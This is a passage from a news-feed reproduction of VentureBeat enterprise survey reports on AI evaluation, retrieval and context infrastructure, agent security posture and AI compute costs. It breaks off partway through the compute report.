all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
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<title><![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]></title>
<description><![CDATA[Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define...]]></description>
<link>https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.</p><p>This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.</p><p>The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.</p><p>Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.</p><p>At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.</p><h2>Finding 1: Confident and wrong</h2><p><b>More than half have traced agent errors to bad context</b></p><p>We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.</p><div></div><p>This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. </p><p>The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.</p><h2>Finding 2: RAG is the default context source</h2><p><b>Retrieval feeds more agents than any other method</b></p><p>We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.</p><div></div><p>Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.</p><p>One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.</p><h2>Finding 3: Provider-native retrieval already leads the vector databases</h2><p><b>OpenAI file search and vertex AI search top the dedicated tools</b></p><p>We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.</p><div></div><p>The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.</p><p>The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.</p><h2>Finding 4: But they say they want to keep best-of-breed</h2><p><b>A plurality resist consolidating onto a provider’s native stack</b></p><p>We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.</p><div></div><p>Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.</p><h2>Finding 5: Hybrid retrieval is the consensus bet</h2><p><b>Vector-only retrieval is already seen as insufficient</b></p><p>We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.</p><div></div><p>The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.</p><h2>Finding 6: The governed context layer is being built now</h2><p><b>Most run or are building a semantic layer — few in production</b></p><p>We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.</p><div></div><p>The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.</p><h2>Finding 7: Bought on ingestion and simplicity, watched for correctness</h2><p><b>Selection favors operability; monitoring favors correctness and security</b></p><p>We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.</p><div></div><p>Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). </p><p>Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.</p><h2>Finding 8: A retrieval reshuffle is coming</h2><p><b>A majority plan to change providers — and the vector specialists are gaining interest</b></p><p>We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.</p><div></div><p>The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.</p><h1>The bottom line: A context gap that more retrieval alone won’t close</h1><p>Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.</p><p>The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.</i></p>]]></content:encoded>
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<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
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<title><![CDATA[The AI compute gap: Enterprises are buying infrastructure faster than they can measure what it costs]]></title>
<description><![CDATA[Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today...]]></description>
<link>https://tsecurity.de/de/3689826/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689826/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today; a majority intend to switch or add providers within the year, many within a quarter. Buying decisions turn on integration and total cost of ownership rather than headline token price — which is fortunate, because most enterprises cannot yet see their unit economics clearly: GPUs sit at half utilization or less, and fewer than half rigorously track what their compute actually costs. The result is a compute gap — heavy, fast-moving investment running ahead of the visibility needed to control it.</p><p>This wave of VentureBeat Pulse Research examines enterprise AI infrastructure and compute: where organizations are in their deployment journey, what they run AI on today, how satisfied they are, what would make them switch, where they plan to evaluate their investments, and — most revealingly — how well they can measure and control the economics of the compute underneath it all.</p><p>The central finding is a compute gap — the distance between how aggressively enterprises are investing in AI infrastructure and how little of its economics they can see. Only about one in five (21%) run AI in production at scale, yet spending intentions are outrunning that maturity: the single largest planned area enterprises plan to evaluate over the next year is AI-specialized clouds (45%), a layer almost none of these enterprises use today. Meanwhile the compute already in place runs cold — 83% report GPU utilization of 50% or less — and fewer than half (44%) can rigorously track what their AI compute costs. Enterprises are buying more infrastructure faster than they can account for what they already own.</p><p>Enterprises are not settled on their infrastructure vendors, either: A clear majority (64%) plan to switch or add an infrastructure provider within twelve months, and 38% within the next quarter — unusually high churn intent for a category this foundational. When they choose, they choose on integration with the existing stack (41%) and total cost of ownership (35%), not on headline price: cost per million tokens is the deciding factor for just 8%. And the frontier constraint that will shape the next round of decisions — the shift from GPU compute to memory bandwidth as inference scales — is barely on the radar, with roughly one in five enterprises either unaware of it or yet to address it.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey focused on enterprise AI infrastructure, compute, and inference economics. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 101–250 employees (36%) and 251–1,000 (27%) lead, with 1,001–5,000 (22%), 5,001–10,000 (8%), and 10,001+ (7%) above them. By role it spans managers (38%), individual contributors (28%), VPs and directors (19%), and the C-suite (13%); on purchasing authority it is buyer-credible, with 45% final decision-makers and another 30% recommenders or influencers for AI solutions. Technology/Software is the largest industry at 26%, followed by Healthcare/Life Sciences (15%), Financial Services (13%), and Retail/E-commerce (12%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It also skews toward the mid-market and toward earlier-stage adopters, so it is best read as the view from organizations actively building out AI infrastructure rather than from the largest hyperscale operators.</p><h2>Finding 1: Ambition outpaces production</h2><p><b>Only one in five run AI in production at scale</b></p><p>We asked where organizations sit in their AI deployment journey. Most are still building toward production rather than operating at scale.</p><div></div><p>The maturity curve is front-loaded. Three-quarters of enterprises (76%) are either experimenting or running only some workloads in production, and just 21% describe AI in production at scale. This matters for everything that follows: the infrastructure decisions in this report are being made largely by organizations still early in deployment, whose compute footprint — and whose costs — are about to grow. The evaluation and switching intentions in Findings 3 and 4 are the leading edge of that build-out, not the settled preferences of operators who have already found what works.</p><h2>Finding 2: Enterprises run on hyperscalers and model APIs</h2><p><b>The specialized GPU clouds barely register — today</b></p><p>We asked which providers and platforms enterprises currently use to run their AI. The answer is a familiar one: the incumbents.</p><div></div><p>The current stack is hyperscaler-and-API. Google Cloud leads at 48%, and the general-purpose clouds (Google, Microsoft, AWS, Oracle) together with the major model APIs (Gemini, OpenAI, Anthropic) account for essentially all current deployment. The specialized “neocloud” GPU providers that dominate AI-infrastructure headlines — CoreWeave, Lambda, Crusoe, Nebius and peers — register at or near zero among these enterprises today. Only 6% run their own on-prem GPU clusters and 4% a custom open-source stack. Enterprises are, for now, running AI on the providers they already buy from — which makes the evaluation intentions in Finding 3 all the more striking.</p><p><i>(A note on reading these shares. 